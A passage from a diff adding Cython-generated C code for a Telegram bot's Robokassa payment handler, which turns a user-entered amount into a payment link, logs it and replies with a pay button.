+ /* "handlers/payments/robokassa_pay.py":255 + * raise ValueError(" .") + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 255, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 255, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 255, __pyx_L4_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 255, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_7); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L11_resume_from_await:; + __pyx_t_9 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_11); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 255, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 255, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":257 + * await state.update_data(amount=amount) + * + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) # <<<<<<<<<<<<<< + * + * logger.info(f"Generated payment link for user {tg_id}: {payment_url}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_generate_payment_link); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyInt_From_long(__pyx_cur_scope->__pyx_v_inv_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[5] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_amount, __pyx_t_3, __pyx_kp_u__15, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_8, 4+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 257, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_7; + __pyx_t_7 = 0; + + /* "handlers/payments/robokassa_pay.py":259 + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) + * + * logger.info(f"Generated payment link for user {tg_id}: {payment_url}") # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_Generated_payment_link_for_user); + __pyx_t_4 += 32; + __Pyx_GIVEREF(__pyx_kp_u_Generated_payment_link_for_user); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_Generated_payment_link_for_user); + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__16); + __pyx_t_4 += 2; + __Pyx_GIVEREF(__pyx_kp_u__16); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__16); + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment_url, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_1); + __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyUnicode_Join(__pyx_t_2, 4, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_1}; + __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_8, 1+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/robokassa_pay.py":261 + * logger.info(f"Generated payment link for user {tg_id}: {payment_url}") + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 261, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/robokassa_pay.py":262 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/robokassa_pay.py":263 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 263, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 263, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_n_u__17) < 0) __PYX_ERR(0, 263, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 263, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 263, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 263, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_6); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_6)) __PYX_ERR(0, 263, __pyx_L4_error); + __pyx_t_6 = 0; + + /* "handlers/payments/robokassa_pay.py":264 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 264, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 264, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 264, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_pay_robokassa) < 0) __PYX_ERR(0, 264, __pyx_L4_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 264, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 264, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_13); + if (__Pyx_PyList_SET_ITEM(__pyx_t_1, 0, __pyx_t_13)) __PYX_ERR(0, 264, __pyx_L4_error); + __pyx_t_13 = 0; + + /* "handlers/payments/robokassa_pay.py":262 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + */ + __pyx_t_13 = PyList_New(2); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 262, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 0, __pyx_t_2)) __PYX_ERR(0, 262, __pyx_L4_error); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyList_SET_ITEM(__pyx_t_13, 1, __pyx_t_1)) __PYX_ERR(0, 262, __pyx_L4_error); + __pyx_t_2 = 0; + __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_inline_keyboard, __pyx_t_13) < 0) __PYX_ERR(0, 262, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/robokassa_pay.py":261 + * logger.info(f"Generated payment link for user {tg_id}: {payment_url}") + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 261, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_13; + __pyx_t_13 = 0; + + /* "handlers/payments/robokassa_pay.py":268 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 268, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_13); + + /* "handlers/payments/robokassa_pay.py":269 + * + * await message.answer( + * text=f" {amount} . :", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 269, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = PyTuple_New(3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 269, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u__18); + __pyx_t_5 = (65535 > __pyx_t_5) ? 65535 : __pyx_t_5; + __pyx_t_4 += 25; + __Pyx_GIVEREF(__pyx_kp_u__18); + PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_kp_u__18); + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 269, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_7, 1, __pyx_t_1); + __pyx_t_1 = 0; + __Pyx_INCREF(__pyx_kp_u__19); + __pyx_t_5 = (65535 > __pyx_t_5) ? 65535 : __pyx_t_5; + __pyx_t_4 += 45; + __Pyx_GIVEREF(__pyx_kp_u__19); + PyTuple_SET_ITEM(__pyx_t_7, 2, __pyx_kp_u__19); + __pyx_t_1 = __Pyx_PyUnicode_Join(__pyx_t_7, 3, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 269, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 269, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":270 + * await message.answer( + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * await state.clear() + */ + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 269, __pyx_L4_error) + + /* "handlers/payments/robokassa_pay.py":268 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 268, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_9 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_11); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 268, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 268, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":272 + * reply_markup=confirm_keyboard, + * ) + * await state.clear() # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" {tg_id}: {e}") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_clear); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 272, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_13 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_8, 0+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 272, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L13_resume_from_await:; + __pyx_t_9 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_11); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 272, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 272, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":250 + * inv_id = 0 + * + * try: # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + } + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + goto __pyx_L9_try_end; + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/robokassa_pay.py":273 + * ) + * await state.clear() + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" {tg_id}: {e}") + * await message.answer( + */ + __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_14) { + __Pyx_AddTraceback("handlers.payments.robokassa_pay.handle_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_3, &__pyx_t_13) < 0) __PYX_ERR(0, 273, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_INCREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_e = __pyx_t_3; + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":274 + * await state.clear() + * except ValueError as e: + * logger.error(f" {tg_id}: {e}") # <<<<<<<<<<<<<< + * await message.answer( + * text=" ( )." + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u__29); + __pyx_t_5 = (65535 > __pyx_t_5) ? 65535 : __pyx_t_5; + __pyx_t_4 += 35; + __Pyx_GIVEREF(__pyx_kp_u__29); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__29); + __pyx_t_15 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_15); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_15) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_15) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_15); + __Pyx_GIVEREF(__pyx_t_15); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_15); + __pyx_t_15 = 0; + __Pyx_INCREF(__pyx_kp_u__16); + __pyx_t_4 += 2; + __Pyx_GIVEREF(__pyx_kp_u__16); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__16); + __pyx_t_15 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_15); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_15) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_15) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_15); + __Pyx_GIVEREF(__pyx_t_15); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_15); + __pyx_t_15 = 0; + __pyx_t_15 = __Pyx_PyUnicode_Join(__pyx_t_2, 4, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_8 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_8 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_15}; + __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_8, 1+__pyx_t_8); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 274, __pyx_L19_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + + /* "handlers/payments/robokassa_pay.py":275 